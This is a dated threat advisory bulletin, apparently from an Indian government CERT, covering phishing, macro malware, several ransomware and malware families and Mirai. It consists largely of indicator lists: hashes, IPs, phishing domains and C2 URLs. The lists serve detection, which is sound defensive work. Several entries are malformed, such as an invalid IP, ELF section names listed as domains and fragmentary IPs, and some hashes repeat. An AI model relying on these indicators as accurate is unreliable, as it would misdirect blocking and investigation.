**Cyber Security Advisories**

**Date: 30 September 2024**

1. **TA-PHI-2024-09-17-05**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The email has an attached PDF file which contains hyperlink with the title "View Document". Upon click, the hyperlink opens cloned phishing page and it gives a pop-up which prompts for username and password of NIC mail account.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Hashes:

17ca4fe95f620f92f5e762ffe4f8253a

105e82f889b6adbcb9d7dc21462f71988ca71f4d

767dc1190526369dd8cbcbe0342a36ab8ad7cd50312ffec629b6871db0dee74c5

IPs:

45.141.59.931

146.70.142.94

Filenames:

FRESH COPY Brief.pdf

Domain:

publication.ltd

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-09-17-010**

It has been observed that a new wave of cyber threats has been identified involving the use of MacroPack, by threat actors to deliver sophisticated payloads such as Brute Ratel, Havoc, and PhantomCore. MacroPack is a highly versatile tool that enables adversaries to generate malicious macros, often embedded in seemingly benign documents like Word or Excel files. Once these documents are opened, the embedded macros execute, unleashing malware onto the victim's system. These tools are engineered to evade detection and compromise targeted systems, posing significant risks to organizations and individuals alike.

1. **TA-MAW-2024-09-17-011**

It has been observed that Macro-embedded documents are legitimate files (such as Word, Excel, or PowerPoint) that contain macros (small programs) designed to automate tasks. However, adversaries often exploit this feature by embedding malicious macros in these documents to distribute malware. Once a user opens the document and enables the macro, the malicious code executes, potentially compromising the system.

How Macro Malware Works

Delivery: Malicious macro-embedded documents are typically distributed via phishing emails, often disguised as legitimate invoices, reports, or notifications.

Execution: Once the document is opened, the macro prompts the user to enable it. In some cases, it displays text that the content of the document won't get displayed until macros are enabled. If the user allows macros, the malware is executed.

Payload: The macro may download additional malware, such as trojans/ keyloggers/ ransomware or exploit vulnerabilities in the system.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Domains:

sparklingpoints.info

craftscore.info

watchneed.info

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2024-09-17-004**

Reference is made to earlier advisory on Mallox Ransomware.

It has been observed that Mallox Ransomware is targeting unsecured Microsoft SQL servers. Adversary uses brute force technique to compromise publicly exposed MS SQL instances to infiltrate into the targeted network. After gaining access, the attackers use a command line and PowerShell to download the Mallox ransomware payload from a remote server. Like other prominent ransomware groups, it also uses a double extortion technique and appends the extension ".mallox" to encrypted files.

Affected Systems: Windows and Linux.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**HASH:**

9b772efb921de8f172f21125dd0e0ff7

79b60f8b5052a9d4cc0c92c2cdc47485

e713f05a62914496eef512a93a611622

3829a09bca120206883539eb33d55311

a8e214683307adaff39783dc656b398a

ac1a255e5c908f12ef68a45fc0043b16

b1b42fa300d8f43c6deb98754caf0934

3762f98a55f0ec19702f388fc0db74e2

6bd93817967cdb61e0d7951382390fa0

c494342b6c84f649dece4df2d3ff1031

16e708876c32ff56593ba00931e0fb67

d32a3478aad766be96f0cdbda1f10091

e98b3a8d2179e0bd0bebba42735d11b7

98c7f6b6ddf6a01adb25457e9a3c52b8

b13a1e9c7ef5a51f64a58bae9b508e62

**URLs:**

91.215.85.142%2FQWEwqdsvsf%2Fap.php

whyers.io%2FQWEwqdsvsf%2Fap.php

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-09-17-012**

Reference is made to earlier advisories on the Poseidon Malware.

Please find below IOCs in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Address:

5.4.62.5

4.32.5.4

52.5.4.72

5.4.82.5

5.4.102.5

4.112.5.4

5.4.32.5

4.52.5.4

62.5.4.72

193.171.202.146

163.172.149.155

5.200.21.144

5.196.88.122

185.100.86.100

37.252.185.182

193.234.15.59

144.76.14.145

54.37.138.138

204.11.50.131

149.56.141.138

81.7.14.253

163.172.53.84

199.184.246.250

163.172.176.167

185.220.101.8

138.201.250.33

193.234.15.56

97.74.237.196

212.83.154.33

185.100.84.212

54.37.17.235

37.157.255.35

37.187.22.87

64.79.152.132

198.50.191.95

185.100.85.101

195.191.81.7

178.17.170.156

81.7.10.251

163.172.157.213

132.248.241.5

31.31.78.49

193.70.43.76

51.254.101.242

81.7.13.84

212.51.134.123

81.7.16.182

85.25.159.65

192.160.102.166

95.130.12.119

185.21.100.50

193.234.15.62

172.98.193.43

185.220.101.28

80.127.137.19

37.139.8.104

188.138.88.42

81.7.14.31

5.196.23.64

51.254.136.195

185.100.84.82

193.11.114.45

51.254.96.208

37.153.1.10

91.229.20.27

66.111.2.20

86.105.212.130

31.185.104.19

46.28.110.244

87.118.122.120

81.7.3.67

193.234.15.58

94.142.242.84

86.59.119.88

188.40.128.246

31.185.104.20

45.79.108.130

5.9.147.226

212.129.62.232

193.234.15.60

93.115.97.242

81.2.209.10

193.11.114.46

85.248.227.164

81.7.11.186

213.141.138.174

104.192.5.248

192.160.102.169

185.220.101.6

31.185.104.21

213.239.217.18

193.234.15.55

85.248.227.163

192.160.102.165

176.31.103.150

85.25.213.211

46.38.237.221

37.187.115.157

217.182.51.248

185.34.33.2

85.10.201.47

193.35.52.53

54.36.237.163

178.33.183.251

83.212.99.68

92.222.38.67

185.100.86.182

212.47.244.38

51.254.147.57

217.182.75.181

193.70.112.165

192.160.102.168

163.172.154.162

78.47.18.110

178.254.19.101

185.96.180.29

86.59.119.83

149.56.45.200

66.111.2.131

217.12.199.190

62.210.254.132

185.96.88.29

93.180.156.84

51.15.205.214

163.172.194.53

81.7.11.96

37.187.20.59

51.255.41.65

54.37.73.111

96.253.78.108

193.234.15.57

176.10.104.240

37.120.174.249

193.11.114.43

185.220.101.9

51.15.78.0

212.47.229.2

94.230.208.147

62.210.92.11

66.111.2.16

185.220.101.34

192.160.102.170

163.172.139.104

185.220.101.30

85.235.250.88

192.42.116.16

192.160.102.164

192.87.28.82

204.8.156.142

173.212.254.192

185.100.86.128

46.165.230.5

171.25.193.77

171.25.193.78

128.31.0.13

195.154.164.243

185.129.62.62

178.17.174.14

136.243.214.137

185.220.101.32

148.251.190.229

188.138.112.60

5.45.111.149

171.25.193.20

192.87.28.28

129.13.131.140

37.187.102.108

128.31.0.39

86.59.21.38

194.109.206.212

131.188.40.189

193.23.244.244

171.25.193.9

154.35.175.225

199.58.81.140

204.13.164.118

18.244.0.188

4.14.2.1

128.31.0.39

Hashes:

8ad3314338fc1d971b8edae0767957f8

e01fff4abc7c1f3eb8d5d6e427a3eb38

db929bec1587835600d471e80a088766

20f9e1ca01c539981c494438d937d068

d3be3d4722802597ab562281eb10cefc

933ca725f56b0b3f83d18bed0ef7cff9

68cbb9fa4b0e9b193587c447e20db4c1

a728e21190225ea85cd760984ddea9fc

20f9e1ca01c539981c494438d937d068

d3be3d4722802597ab562281eb10cefc

5087425fd37a97a99dbb34a42e36a3f2

a2db6849aac28f8b8624b4f09e828705

d3be3d4722802597ab562281eb10cefc

49cb4bebb6022040b25a2ca9d63b3bd6

147d0e1356a0853fc3154f4ec1d777f45fd1f3b3

ac1fed803c7d3663ea551cec5d84bbabb9346d82

06f9ff4071de7fc7e46921f5ed421fb8aaf71507

93fe2c3b8a0571c6c8e091d861389dd43bcd286

3d8f87ee81e3998685108e05ae96cf230efa6bca

153557b837a9f8c2170a0a77fab45940f10e9dea

a90ba1393b039ec5b044a6d00092475459e1892b

7c06cd87ef329ebe5a7a68aef8f538a20e763030

93fe2c3b8a0571c6c8e091d861389dd43bcd2866

3d8f87ee81e3998685108e05ae96cf230efa6bca

ecbedffc5515c9c455130f40183a5655d8e21531

039598f2d0aa537a5a0c8634d4ac4dd1ff89d44e8

3d8f87ee81e3998685108e05ae96cf230efa6bca

ecca060b449a52231687ba8abb66c2494f6f95c6

771a02308c3ee01249dff87d56efd19b64528ba0f11636544255ce8cb0d73120

951fa2e55c7fb1d7f47e47eff5bc199352079a20f40073dd584a3365271d6df8

7723ae6ef90b1fc8f21441841a589663564daf553418b50cd8d24c5a1c8fdac4

eb9d26a4aa07e7afbe92de636733256317cd5765ffc85987fd684de0074621cc

c81be12940b644b310c018a8f0781213bb6f711414515d328f4a8523838d1ded

0d18583bfef8e9ca9cf9c714049e322699087020ad891bd171bdcc294b7a7529

41accf41733ddcd65dc479a0c369f90894870ce10e4410ea2ffa7ce0f51672d9

9fa242740dacd0207d461cb13b577938fc5c982d0328557bbb6b53448497d44a

eb9d26a4aa07e7afbe92de636733256317cd5765ffc85987fd684de0074621cc

c81be12940b644b310c018a8f0781213bb6f711414515d328f4a8523838d1ded

3b35a76610a0d40d741dab4e9dc617c114eef2acdf98be4c2144985427fe22e3

262d912c54194eba15843b51e22ce83c1df4c00acaf2f70789e9b932a73e41c4

c81be12940b644b310c018a8f0781213bb6f711414515d328f4a8523838d1ded

4f946de9b5ebcc003274ad95125d80a805c5359643074fc6e756a08303d673e5

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2024-09-17-005**

It has been observed that Akira Ransomware is exploiting an improper access control vulnerability (CVE-2024-40766) in SonicWall. This vulnerability affects SonicWall firewall devices across Gen 5, Gen 6, and certain Gen 7 versions, with a CVSS score of 9.3, indicating a high-severity threat. It has also been observed that compromised accounts were local to the devices, lacked Multi-Factor Authentication (MFA), and ran vulnerable firmware versions, which made them particularly susceptible to attack by the ransomware group.

**Mitigations:**

Patch Management:

* Immediate Action: Apply the latest security patches provided by SonicWall for CVE-2024-40766
* It is recommended upgrading to the latest SonicOS version, resetting local SSL VPN passwords, enabling MFA, and restricting firewall management to trusted sources to mitigate risks.
* Long-Term: Regularly update all network security appliances and firmware to address newly discovered vulnerabilities.

**Network Security:**

* Segmentation: Implement network segmentation to limit the spread of ransomware within the organization.
* Monitoring: Enhance network monitoring to detect suspicious activities and potential exploitation attempts.

1. **TTA-PHI-2024-09-18-006**

It has been observed that adversaries are targeting government / defence personnel using spoofed / compromised email IDs, malicious domains, Phishing web pages and Vishing techniques.

Please find below malicious domains which are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Domains:

indiannavykarwar.in

indiannavyeclaim.in

indianarmynic.in

sci-dailyorderssecurelogin.in

scidailyordercure-login.in

embassyofindiaukraine.in

indianairforceapp.com

modgov.org

modgov.com

incicourtgov.com

incourtsci.com

rbigov.info

mha-gov.info

indiannavy.info

scicourtgov.com

scicourtin.com

scidailyordercure-login.in

supremecourtcase.net

incicourtgov.com

labour-gov.info

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-09-18-013**

It has been observed that a new Go-based tool called EchoStrike has been developed to create undetectable reverse shells and execute process injection on Windows systems. Users can customize their binaries with sophisticated persistence and encryption features through an interactive Python-based wizard. This tool also provides advanced options to modify the binary size and establish persistence through various methods, including altering the system registry, setting up a command autorun, creating scheduled tasks, or adding startup shortcuts on the target system.

1. **VTA-MAW-2024-09-18-0014**

During analysis of Mirai samples over a week, following IOCs have been found. There are couple of things to be aware of while looking at this data:

Network IOCs may be associated with binary distribution or one of the "cnc" or "report" functions.

Network IOCs are identified from newly identified samples but may themselves not necessarily be new.

Because of nature of the static analysis, there is MODERATE confidence in accuracy of the network IOCs.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IPs:

95.214.27.36

167.99.202.142

154.216.17.218

45.89.247.103

154.216.17.37

154.197.69.149

48.8.8.8

Domains:

note.gnu.property

plt.got

cnc.changeme.com

report.changeme.com

cnc4.ghty.online

botnet.goelites.cc

dkuug.dk

Hashes:

009c0855b11037bfa7e3488a2126253e62824af06b247cb08a3af9e21b43a1cf

028503c36407ff922e455b12047bfa7884ce6d274f2ae4ddf7dcb5c6d3d386d2

030bbb246b2c051ce55d09df151d0be5418927b84d2810db08aa186337737293

03239f7b50adae4fbd1ee1c23492afe256a306634390d0da4d151e9835a227c0

0365ef48d8ea91918e401740b1438093b5de58c1d634129103721a8e1b63cd62

0474c4c4aa568f35d37cf8ff9af0254431e68999ad9f41cbaef18fa597a0b147

04b11c67a9657cce7fb0fd65d0b120b792d20329b3b577c8da83fbe4d22246af

04b57d03dd5fb0448b35b4376eac8ae9ed8cabf735e73bdb314b52ba0e2bb9bf

056c8e9856fb51df8def05858de62a7452f2c5b57f9e25411992f056f8211f75

05cbc9d7248d7959de948c45488a18dadd3f82c1c50772152ee7dbda2ebedd43

05cd8046c8e9e8856545b3d246ef4e720c1f20288f3f1610895bffb688953f5f

0609755e087fb459c12903e38de53619c17d8cc3a53e84740c3d38ce9d45f8bf

064856e774c8bacb9a1ec5ef2e89382b1486adb8acc20da288c5e6492d18fd58

067c2fa99c04e8226fc5b59d8b0eed78244f9bde5210babbeadb19039929c4db

069808b786d32f15b0e46cbef0e50067262737931909b8e7adda719827911c0b

07f38cbe702ccb91ea5badc8501b541277d6811c8d684bae88fb9b574ac15701

0845bb9dbc4d0cb2d5920639983db618012ee9eb4f410398172f92139170b5e3

08826b630fef13c4dc4b7e53a8986f31b4653cec36fd90c81f554fe905c628c9

0a9250d1e9c8df5d884aa7f5bbc53cd114dbda4b7fbab622041a6ec4a6dbcb34

0aae0205eacaf8f7f495f2ba54eb634850b677be6e0d94c63cfdb71e03afc6fa

0b2eae98b212a00459a0a558ca4c745dfa08aa3bbfc6a98247147abcb6ab7bac

0bd96f46eb45c32287b8aa40f3363a48b3697960d30acf0a34f5b671b70281ed

0f9486281d6515f8fc0fc0c628aed289d61a53ad5a3d556ae615a6114aa3151d

1081a9dcb29a693cc81eda215c5e996239509800905fa6dc5ba4511e4b2f100c

10c93c8da23fcb3553722eed5cd3f18ae4c5a83ff77b1f58fb8540c06adaec6c

11a2d85d99f205c3d45f4dc6b0271e5c7588dcc39f1c05d33f63ab9f45ef29f5

130f7fe38dd94fcf42dfc944877805e6d8005a2c8473541d8182a1069aed3f80

132e9e5ba6ffc6edd255bcd97e9f95f3060e87e2086ee811fe4cc5393e6e9cb3

1476791b92d9b186464c8e4a034e8c2fc5a7437966660f432ab239f6d3b61515

15546474d1c8b28482ddb190cf1a7d634937e2bc8809fadcdf491e6622586a29

15a4e6d200b16b862c59e7155d1430fb225cdf69021858f2cce5f43f70d38fe5

1640007aad6630d4822ab244a9670c920b14480da780ea7cf808d06f604f00e3

16476cbdc454a9e6ddf479497c3a90042d0087d5694d2189d54382bd34d9c65a

1737db4602fba3f89d381ba7f4b134d0e70344e1a7a272f2a201c105ba7b8886

1798d3f7863e664a6959a638ebcecc98e3a8e103b03eb97671c024e69dcb9fdf

186d618febe1782063347732533e4d8282b168797bb51a8036bd14c6f984e523

188c2d0b0a001ef06016eb25a613e1470e53ca0c39aacf07c2514c5397835c2e

1a7372a6b3ae2962edced3564af174620cbc11ad86208b5a1fd3e4c8d7855517

1a940f78842602515264855b8a024ea4c69cbe63be9445faf8972b2493ed4bee

1acac4dbc88cb3a7ffe47b0e83e30a70478bfc0d89fd55cc13a05ada62ce4f0c

1c708800986eb8852031ecb0b6ca7a5811322f41089297997f4479fb0eb53b8e

1e9e75d7ae626726ff01904f2ed5ad5db870a4dffe2cdad5538ae9f61df7ccd7

1f71f95f5cad99fd6cd66f212286f2c8773bf33ea393b61c18a68d4241f7014d

1f8b076acbcfe5199acdf58b88a616bf5366a004f993c31676a8d59966ec3d78

1fdd1fac292c913579ae45f5c3c6d1fa6095a24bc152dad5d8ac3850081f3d82

20dd77bc93f6714273b84161c0b61278728c49958013645e775688844ca207a5

2136f0adff2b66a531823d896720682c07007401cecc357889dbd5a22cdf9e0d

21e0ca4e89a36c2b4e7c0e608e002ca98b1fe42a99df457e4949a0e798168cb9

224ddf31fa0e7fa8c7ea4623d5984d890b79e473546a5078ba6cdfc8d8dcaab1

22a37922ef9d352f4f940588588c40006d5d122e446052154db4ff2871b5e5e8

22afe5b034dd201440ac969a99575c6bb900c6113e66719acb623ec1a7fde0bb

2328609dd23c47fd410c233435159a8b6db251faa177ebb8093a9b36f394dcb1

2444449f3c2fa291d505d71d54f7eccea998912e8b6d446a82cf213dd37359aa

24dec202692175433850db23c14d465e598304b8b99c90c7073925b985295d6b

25f4891bf5ce42e599d8d4dd67e031c4c6ef221dbe77c2af00a1352262070860

26115e3d65770e74a409d251dd48571dea85e98b27f21efb442c15948922ece4

2663809951894d0012e1139c9d23adece49b1a0b1495dd1de4ea62dd07131633

2772ad46c6b9b8885935aa88efeaa12900b7931fdfba67f3688eab9653f32af7

289b1ae3ff72188f6318feef560a35f4d003948072af9e04bd0a8b541e846302

28eedf1d7de7545e6d2acb20866c3d061d032e62cbf16dd250c9a8b6a02a6c46

29176af998878cfdc43d1743de1125e970ad4383f835ee2fb9b3e46077c6d21c

2978b39ebe75a2328db2e8577f905dc31220766a43402bcfff07a9024b1e24bc

29a999dacc1a1813b0d6d80dc0874a42df4519da992c9a1fbdbd8b24a0331164

2c0edc3b94febcabae55b68be8c90c622ca7a955feeb271fe20950d31121d224

2ceb1799c599212fb0d9055368241f11891ec3294528aab46ceb2c2ab0d88074

2cfb4773709f6a7b923a3f68309dedd51ec55ee3d239ffd77d2a519809f5570a

2d099d68f35367d6be8be0764829bc51b264da14ca09f36e807e650035490344

2d4784d083074f0e00f247c21293386fba5a3a5c92e4c409120486c42d370fa9

2d6502c563822d9ed04606d627fb3275af2539928e59f9f7740d5511c4530775

2e1e633ddd30b1d97133b007e9f99de82fa1a848eddbb84225207cd8ded0a83d

2e4d7c8522ea621493c8eef3549845a2ec3b82c81e59a57b3a2179f2b721dbcf

2e7bac5a3fc4db8c75e723d31478e50867f06e4c8fd0844b84b3cecd6f6ad367

2ed449afdd4740fe473b93dc541e779bcdad224cc8bb71b264c6bbcc4f4a0bb6

2f35d32e5c2e9ac4e4e85c39710bde72577fb6e765c816ba1ac4ea6a1a271c42

2f809a665a8e7c8de7cad467eaab2a15318e73d11e8f146afe9590adaf35d538

3012b22a65f7f9c427d47fadff7c7c81ea832926078e3f5c2f13c8f029a0c533

323e219d964596553b2d73a44d94899004645e6e2c0eacdd52adc57cc45bb45e

3257e52f6bb28684038edb8ab74fc787da6f38a11d0f8afb596b9a1af4958030

32a7480ed29603284460a54c7f37e6782640154bdfc859e0d0f79235944ed43e

34ba4d00858a9362b2649831516db7fe56e45a4c14529bafb159e6eb51fb9235

355ca4754a66b916886de049674508de04163f6f3a1d435f39166e1631953637

35c751566078b0242891ac4c19fa323a8edaee01b4a7d7d87d3a924f6c618f60

362aeaa1f130d3b7ebb87607ff992720317bb49ce06ef3e936ee4e4a963ad0c7

36aac9ad99ef07ac911608df43dc05e2d65b664cd7b485b8693ad6bdd3e60cf0

39394b966ffe9a514b86aad09be23e2295a861d34d98a9a44ef69920e43cc83a

3cf6e6957222f6a3d0e3a9da85510904a0b47e7c97ad3e970ba3afc46ef1b075

3e48d354d68674355c29e5d8cfddd5c028e3fc1a8ea0c37f1a9bb56df0e657e7

3eb64c2e082abd5d0b74b7f74821f0e1f8ae2ca4b6011acb52b4d72014e270e3

4079d0fb1c783e0d63e34d0732476ae0ffd8efb51ccdccc17bea4742902af1db

40922549072f3cf98bd70a973b954a6c275dbad9af804e894b117d73b8bef4a9

410ca8482908083d166b2ab4a5de250d8330f6becfa72b23f4ea8f3efc212da0

4154f0457bd1efa64bbdfa02b9f843697345fbf3201d70d45d87d5d270fa3123

41cff127f4c9a309d349d9b6578a6fb52b8b5077acb90fb988f6d51d223166df

42543e8ee6ed11d4bd9848620d5d8fd0f4cf27d42bd09d2529c032aab4f581cd

4312e624c61d49107eb64616cafb48904990a427a371b550dfd4e0cd83f25b32

435960f3d16f6a4e601ffa9a45647174ec01e3634c599c3cd39ae387b800bc4b

43a251193862ff01d1a91db67c0e3b3da44678b76ad8ae624dd09bb19a1be15b

43b8ef924bd44b7a75ddb0719dd0c25bf267301bd0a6c1f9fdf012caf3f7a63a

43d618725b2660bdf2be41a90c3b6906df466b0a3612e375cbe0cdf78928fc86

44b83d7876d390c8ea19ea0a8b9874445271ffaec96a785bf9f395c8914ed900

46100721a234f20334b38d2484bc0599c51138e48d300a71a406aca09bcdaa8d

4942e0a0d3d88caab716ce09348776649537f1901936e21078f41d746ce9c0e4

4a6d518f1ed566629599ff837aeba5608289d464b25c9b3ad572aae1f24fc715

4aae14546a12661f03c0bf96e55ba90813d42aab03cbdf756a066e3017d11963

4ab42b89f23327d41ed498b507c3805d7b5f489e604cd197691c3899d4d4fbf9

4ac181e80bc2dc525c23a4981fd1132dccf4426cd5bb426ba0a6ab5cab90ba99

4b8c9559d93b19e85cd42c4738aa470898c8962d69f8ec471845b67f9c790624

4bde1b37b4b9e98e149e0de37e2d0c6009d8992a286e05cb17148fea29455b26

4cac0867e19afef965e6a20c1dabf385457c426cc8a00ad20c109ebf1ec66278

4d737c6e1f99deaeddd201ba8e1a16c89dec8f20ec24bca9b01715a76ec430cd

4d774597c5105556f6c8fb50ca732eec08daf640935cbbe7ca4bdb006578ade8

4dccd2bf65fa8d9d4e952ec764396154ef1a4998c6f9e65370d4ac34148c2517

4f45ca18f1525d2d20bb7983cb663332229e917e4651e2d0a95a08852a08414c

5006471af979499a5ef3f49d7d4e5733cf1bb28db09806bc446ab08ba8e831cf

51873afae03d4cdcbbc564796c121785ce2d0fdc250557aff4242cb0c28cc4d8

51e16228313eb5f4b9733fbca05edf8beb3f7a4baede4002ffc65fcaf5b513c8

51f093d715549438a29a7c786cad90c1e586e20069cfe246a727b0ebeba702fd

532623e4524f49de4e0603b2651aaeac4533c576cf9953a0f76a2352aec18f70

54bd37a78afa90bbe766877176a0114deb4ed6a8da9e3a8e38aa8ec03f53ad7f

563726c949d37f381bd0a8d27e75ead14b830823672800095c502564a9f7cc80

577225d07ff7ceb535cc98f180ee7c18387cd713260edab9bdde84c883b87f9e

58cb1f9a03572270b7f59d12ac068c7b72250629122ae83421d096e811c85fba

58cb8f56138f57b24226d312ee939cc3465476bb7a27acbf4628a64efbf251b5

58fa88b3955eb55ea2fa823d35c41f965d920ead1a801df6d9a66c79434600bd

59062ad43b8a4c73db175cac0cb71e85104586749e7a87d9228fb1bfef4fd9ee

593dae02e2e09595ae08eb340f253a4f90a7e60087f18ee7e853243377b48a64

59e10ce3907ba5583a11bd45486ce2c29de0404259565104a05027dbf445b50e

5a0c030cae62e4c5a1fd2a4e33215ee58daf5b5f07421967b20aa2794db95621

5a579f517dcd70ea22ef27e91470b3d72b534c36cf2eb538ece53963a3743318

5b09e7b909d75ba435c0022319181d495abee0a639bd074ce1b004cab9f47567

5b5bb4f902b9aa7f90984e8e76b9ae1ef2c70e198dbccd61de6bf31b7d463ee0

5ba877c2ff1b6da9ce273dc7ad562ad08765002558abf218d7d59e66e987b4cd

5c3ce894b854d57155c693bcab774fb74693f898bc20ebf1e3db1c6805c3fcee

5c4e2bef6aa1bb03394e6fc9a8dc83f552e316b798ceb31534e926608de3428f

5d0568d69efe9f4c5bc18893b36d099802d6fed8f130c29b2252a5a89295f006

5d15c25d024276dfcd7fb73c11b76b9e11c61edb7dfe8253c45431931fa181fd

5d3b7abd994f9fa625456f85e0d2bd5a75e6caed200ebb3b70301397fb24d3c2

5d4d90fc1f42d3ee88abcac58d32145053255de5ef8a9b68c7606f1bef81aea7

5eb361d11b70c71298f7d8ab1341248a85c4e576ec0a92261cdc1971e145995d

5eea81d52bc79da6575b969a37b79e0b632231e59b6cd7e58d943d0a7cb16519

5f844c612f20e4ba9675f1b2f8dda7ff94e199821abc30fcc241daca6c58504c

5f9608c02b7e5caae1f28f2fe1b37189054916062073a81fa10769c09bc5c872

5fb092eecb1ef6dec355c54c770107446f6aba61b7c55bdf9e08497248403a7c

5fd90bd528ee9a24e9c724ccab02cbce5604171b09b2f03a4303f2f5964d017a

600be0979740972bcf8eadd06ee25c501eb7281094459586fe7fad523bfa48af

607ec0b71b8fb4a6ab4683c12efabb2517139806a05d1ca586f97c1de1dd5743

615ac6fba31f9385133bc983c583d1dd0b929f334982243657570a018b8ef10d

6209c00a9a705321e3ed9ff25996528ca1b79b1cb8fcd88e5723926e31bd4552

62a03d4a7bb4f17e54e20411a04f1a832c4bcdfcd1710f2a9a9027730ee9e579

62da8b8117772dd8946176d2aad3e0465fd5c8244bbcc3066072d3e356aa177d

63527d4a12592d4252f24b1076451349fee8dbdfd8f9ff9f3b042d88c33acb71

637c613c1180871232be0a1f93d9bf4bdd2c3705850ebf70ca61d7e80dd0d320

63978afbd57ae0379b5068da3e0a9a854ec53a9fad7260aa493b0e73c225475a

644ee8a66e9c2c0022a0028602365ad28942c3bc2faf55d92a22ddd85e23c058

64662634ec0d8c10c49ffb50310d449bf073654a22092f2b4b8ba07a81e7d622

646e2e9bf6790a9ea8932c733cb4989209096dfe0fb5be97e307f291d7126f9d

652cdc4edb8395f72e334d11abde97cedd6781fce64c35256c3b9ebcd93d245d

66a41709f5ebf5c1b0deb5753f462baab9d37ad9dc0cc5ae6dbab8679af6442e

67372bb193b091f1a2bd1b78951f4c656ead6eb5b61aa50db9ec83bd8e734364

6836171ec6ca4f9df60ffc47a0665fa809a7692fb14460a1d8e1be328510f064

6869ce2e349d8d5c37cace64912e154b8e7ef1481b7718dffc0de1f845e87cfa

69fb29feb70bfb3f17d28bbad36d2e5cfd4e2c775493f48a9b305ddd248f512d

6a2ca86775f2c942dcdd33accd5bf2866f5e34ac1e44134bfb5119d742bf6d49

6b47ffb32c1d2d1d4d9754d9f341f44d811c3b7ec9a33da24e53f9292c9212fd

6c32467da3a4a3f3b45fa69ec7e5989a02e987a2e5f8291eda8ab08f393cf8da

6c94aa38427185b2b515b7c2c6c4f85c9e6e32a442cf036ac74e96c8e5bbd6ab

6cc64561e91b7f9810d03144f8f36cfa6b744f1b50ade5a30b9873f21fa6fc0c

6ce3e49a8bf72d3b9695734a975f6f1640262cdb89e73827c859ef4c76549eaf

6d4cdeeeb2e004d374f1baac9d08aef4e4fe4f05f9bf8b8282f6b9d18c3575d9

6eceac7e6abf012640b8574b8197f6a7afba5567644ab2a9a99b36a0bc28bccf

6fc631f1197da06614e941633b7134db9c4003561ea124ccca0ebaa276210095

7101574a2819f370a43d00d572929eef96e190f6c91fb7da91e25e8a7a63a6b2

71879213092bf51ddd893f1cd91f71f2cd4e6a412adca164bd46d727aa603017

72c53f57816d1e77a9f571eb5bfb45eefdfdc8614f6472921f3c97db960ecee2

730f6ef7aa3b08225e6c300331793a97d744778a5bf8a11ba1f016693115ee44

7319b180bac7adffe6e6dbaf004e43a94086496aeb6fd286f20d6c47389c7e49

73b95d38460532e091c2f16c69ca3be56dccd83e1e7a42a9191e319c35df78d7

73e512bc2ba0716e15709ce9ef0c90f3e1cedcbdc1ba4fe327464ef1cb0dedfd

74bc2b46abd26d4b442c735cb9eb126000b2bd4ab817c1faec49154c9d4772c0

